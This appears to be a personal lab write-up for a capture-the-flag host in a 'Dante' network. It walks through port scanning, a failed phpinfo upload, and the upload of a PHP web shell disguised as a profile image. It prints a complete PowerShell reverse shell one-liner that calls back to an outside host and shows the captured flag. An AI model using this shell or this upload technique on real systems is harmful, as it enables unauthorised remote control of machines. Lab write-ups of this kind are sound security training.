Malleum Knowledge Base

Eumeration

1 min read

rustscan -a 172.16.1.13 --ulimit 5000 -- -Pn -sV --script \"'vuln'\"
Open 172.16.1.13:80
Open 172.16.1.13:443
Open 172.16.1.13:445
 
 
SMB         172.16.1.13     445    DANTE-WS01       [*] Windows 10.0 Build 18362 (name:DANTE-WS01) (domain:DANTE-WS01) (signing:False) (SMBv1:False)
 
MSSQL       172.16.1.13     1433   DANTE-WS01       [*] Windows 10.0 Build 18362 (name:DANTE-WS01) (domain:DANTE-WS01)
 
Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.7

Phpinfo exploit

POST /dashboard/phpinfo.php HTTP/1.1
Host: 172.16.1.13
Content-Type: multipart/form-data; boundary=---------------------------7db268605ae
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://172.16.1.13/dashboard/
Upgrade-Insecure-Requests: 1
Content-Length: 194
 
-----------------------------7db268605ae
Content-Disposition: form-data; name="dummyname"; filename="test.txt"
Content-Type: text/plain
Security Test
-----------------------------7db268605ae

Din”t worked

Enumeration with fexorbuster

  1. Showed a new application
  2. register the user with image as php shell
  3. go the shell page in ups directtory
http://172.16.1.13/discuss/ups/revers.php?cmd=
 
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.14.4', 1234);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

Getting the flag

C:\Users\gerald\Desktop
SHELL> cat flag.txt
DANTE{l355_t4lk_m04r_l15tening}

Graph View